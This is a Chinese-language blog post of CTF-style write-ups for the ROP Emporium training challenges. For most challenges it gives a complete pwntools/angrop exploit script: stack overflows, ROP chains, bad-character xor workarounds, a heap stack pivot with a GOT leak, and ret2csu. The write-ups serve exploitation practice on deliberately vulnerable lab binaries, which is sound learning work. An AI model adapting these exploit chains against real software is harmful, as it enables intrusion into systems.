Logo
Overview

rop emporium题解

January 11, 2026

misc是没前途的!是时候开始重新学下pwn了!

ret2win

最简单的栈溢出,没有任何保护

给了一个shell,直接写shell地址就好。

PYTHON
from pwn import *
context.log_level = "debug"
elf = ELF("./ret2win")

p = process(["orb", "./ret2win"])
payload = b"A" * 0x28 + p64(elf.symbols["ret2win"])
p.sendlineafter(b"> ", payload)
p.interactive()

split

这里是一样的,多了一个string地址,需要用pop方式清空掉rdi,然后再调用。

所以rop链是什么?把返回地址覆盖掉,程序会依次调到你构造的rop地址然后(ret; gadget加上之后会返回到原来的地址)。

这里尝试用一下angrop,感觉未来做普通rop题都能用了。

PYTHON
from pwn import *
import angr, angrop
from multiprocessing import cpu_count
cpu_num = cpu_count()
if __name__ == "__main__":
    p = angr.Project("./split", auto_load_libs=False)
    rop = p.analyses.ROP()
    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(processes=cpu_num, optimize=False)
        rop.save_gadgets(cache)
    ch = rop.set_regs(rdi=0x601060) + \
            rop.func_call(0x400560, [])
    
    print(ch.payload_code())
    chain = b""
    chain += p64(0x4007c3)  # pop rdi; ret 
    chain += p64(0x601060)
    chain += p64(0x400560)  # <func_0x40074b>
    p = process(["orb", "./split"])
    p.sendlineafter(b"> ", b"A" * 0x28 + chain)
    p.interactive()

callme

这个明显可以直接逆向了()

但是如果要用程序自执行的话,我们需要依次调用so文件里的callme_one, callme_two, callme_three。

PYTHON
import angr, angrop
import logging
logging.getLogger().handlers.clear()
logging.basicConfig(level=logging.CRITICAL)

from pwn import *
context.log_level = "error"

if __name__ == "__main__":
        
    elf = angr.Project("./callme", auto_load_libs=True)
    ELF = ELF("./callme")
    rop = elf.analyses.ROP()
    rop.find_gadgets()
    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    callme_one = ELF.symbols["callme_one"]
    callme_two = ELF.symbols["callme_two"]
    callme_three = ELF.symbols["callme_three"]
    print(f"callme_one: {hex(callme_one)}")
    print(f"callme_two: {hex(callme_two)}")
    print(f"callme_three: {hex(callme_three)}")
    ch = rop.func_call(callme_one, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
         rop.func_call(callme_two, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
         rop.func_call(callme_three, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D])
    print(ch.payload_code())
    p = process(["orb", "./callme"])
    p.sendlineafter(b"> ", b"A" * 0x28 + ch.payload_str())
    p.interactive()

write4

需要把文件名写到bss段里。

不过有了angrop的话,想来以后rop题基本上找到leak就能直接出了吧。

PYTHON
import angr, angrop
from pwn import *
context.log_level = "error"
if __name__ == "__main__":
    elf = angr.Project("./write4", auto_load_libs=True)
    ELF = ELF("./write4")
    rop = elf.analyses.ROP()
    rop.find_gadgets(processes=1)
    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    bss = ELF.bss()
    print(bss)
    chain = rop.write_to_mem(bss + 0x0, b"flag.txt") + \
            rop.func_call(ELF.symbols["print_file"], [bss])
    print(chain)

    payload = b"A" * 0x28 + chain.payload_str()
    p = process(["orb", "./write4"])
    p.sendline(payload)
    p.interactive()

badchars

加了过滤,我们随便写一段字符串然后用xor放进去就行。

这里xor是我自己改出来的(,可能交个pr给angrop?

PYTHON
import os
import angr
import angrop  # noqa: F401
from pwn import *

context.log_level = "error"

if __name__ == "__main__":
    proj = angr.Project("./badchars", auto_load_libs=False)
    elf = ELF("./badchars")

    rop = proj.analyses.ROP()
    rop.set_badbytes([ord("x"), ord("g"), ord("a"), ord(".")])

    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)

    bss = elf.bss()
    print(f".bss addr: {hex(bss)}")

    bad_chars = {ord("x"), ord("g"), ord("a"), ord(".")}
    data =     b"flag.txt"
    new_data = b"flbhbtyt"
    chain = rop.write_to_mem(bss, new_data)
    for i in range(len(data)):
        if data[i] in bad_chars:
            chain += rop.xor_mem(bss + i, data[i] ^ new_data[i], data_size=8)
    chain += rop.func_call(elf.symbols["print_file"], [bss])
    print(chain)
    payload = b"A" * 0x28 + chain.payload_str()
    p = process(["orb", "./badchars"])
    p.sendline(payload)
    p.interactive()

fluff

这个看起来自动化不太能做。用了很多奇怪的指令并不是常见的东西。当然比赛一般不会这么搞,所以还是手搓下吧。

xlat:以al为偏移,索引bx指向内存中的字节,可以用来从内存里取字节,需要al和bx的值可控

bextr:位域索引,第一个源操作数是原数据,第二个源操作数是索引开始位置(8位)和长度,这里可以控制rbx的值

stosb可以保存1个字节从al到rdi指向的地址,rdi可以控制,设置为随便一个可写地址就行。不给代码了可以去看别人写的。我写得好烂

pivot

这里给了个堆指针 + 一个短很多的栈溢出。所以我们需要ret2heap,然后heap上写我们的rop chain。需要注意我们现在没有ret2win的地址(在so里面),需要用foothold_function打印plt表。

注意这里是一种新方法:因为第二次输入的只有0x40,不够覆盖太多内容,我们需要把栈迁移到第一次输入的地方然后再执行。

唉,写poc还是太麻烦了。

PYTHON

from pwn import *
context.log_level = "error"
import os
import angr
import angrop  # noqa: F401
context.terminal = ["tmux", "splitw", "-h"]

if __name__ == "__main__":
    proj = angr.Project("./pivot", auto_load_libs=False)
    elf = ELF("./pivot")
    lib = ELF("./libpivot.so")
    rop = proj.analyses.ROP()

    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)

    p = process(["orb", "qemu-x86_64",  "./pivot"])
    p.recvuntil(b"pivot: ")
    pivot_addr = int(p.recvline().strip(), 16)
    print(f"pivot address: {hex(pivot_addr)}")
    bss = elf.bss()
    print(f".bss addr: {hex(bss)}")
    chain_heap = rop.func_call(elf.symbols["foothold_function"], [])
    chain_heap += rop.func_call(elf.symbols["puts"], [elf.got["foothold_function"]]) # then recv plt table -> get ret2win
    chain_heap += rop.func_call(elf.symbols["main"], []) # return to main to read again
    print(chain_heap)
    p.sendlineafter(b"> ", chain_heap.payload_str())
    chain_stack1 = rop.pivot(pivot_addr  + 0x8)

    print(chain_stack1)
    p.sendlineafter(b"> ", b"A" * 0x28 + chain_stack1.payload_str())
    p.recvuntil(b"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n")
    leaked = p.recvuntil(b"\n", drop=True)
    leaked = u64(leaked.ljust(8, b"\x00"))
    print(f"leaked foothold_function addr: {hex(leaked)}")
    libpivot_foothold = lib.symbols["foothold_function"]
    libpivot_ret2win = lib.symbols["ret2win"]
    offset = libpivot_ret2win - libpivot_foothold
    ret2win_addr = leaked + offset
    print(f"ret2win addr: {hex(ret2win_addr)}")
    chain_heap2 = rop.func_call(ret2win_addr, [])
    print(chain_heap2)
    p.sendlineafter(b"> ", chain_heap.payload_str())
    p.sendlineafter(b"> ", b"A" * 0x28+ chain_heap2.payload_str())
    print(p.recvall(timeout=1).decode())

ret2scu

这个就似乎不太能用angrop这种自动化工具了(当然比赛也很少有这种苛刻的条件吧?)

需要先用下面的pop设置寄存器,在用上面的680开始的一段设置rdx和rax。

PYTHON
from pwn import *
context.log_level = "error"
import os
import angr
import angrop  # noqa: F401
context.terminal = ["tmux", "splitw", "-h"]

if __name__ == "__main__":
    proj = angr.Project("./ret2csu", auto_load_libs=False)
    elf = ELF("./ret2csu")
    lib = ELF("./libret2csu.so")
    rop = proj.analyses.ROP()

    cache = "./angrop.cache"
    if os.path.exists(cache):
        rop.load_gadgets(cache, optimize=False)
    else:
        rop.find_gadgets(optimize=False)
        rop.save_gadgets(cache)
    # chain = rop.set_regs(rdi=0xDEADBEEFDEADBEEF, rsi=0xCAFEBABECAFEBABE, rdx=0xD00DF00DD00DF00D)
    chain = rop.set_regs(rbx=0, rbp=1, r12=0x000000000600E48, r13=0xdeadbeefdeadbeef, r14=0xcafebabecafebabe, r15=0xd00df00dd00df00d)
    chain.add_value(0xdeadbeefdeadbeef)
    chain.add_value(0x400680)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x0)
    chain.add_value(0x4006a3)
    chain += rop.set_regs(rdi=0xDEADBEEFDEADBEEF)
    chain += rop.func_call(elf.symbols["ret2win"], [])
    print(chain)
    p = process(["orb","qemu-x86_64","./ret2csu"])
    p.sendlineafter(b"> ",b"A" * 0x28 + chain.payload_str())
    p.interactive()

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。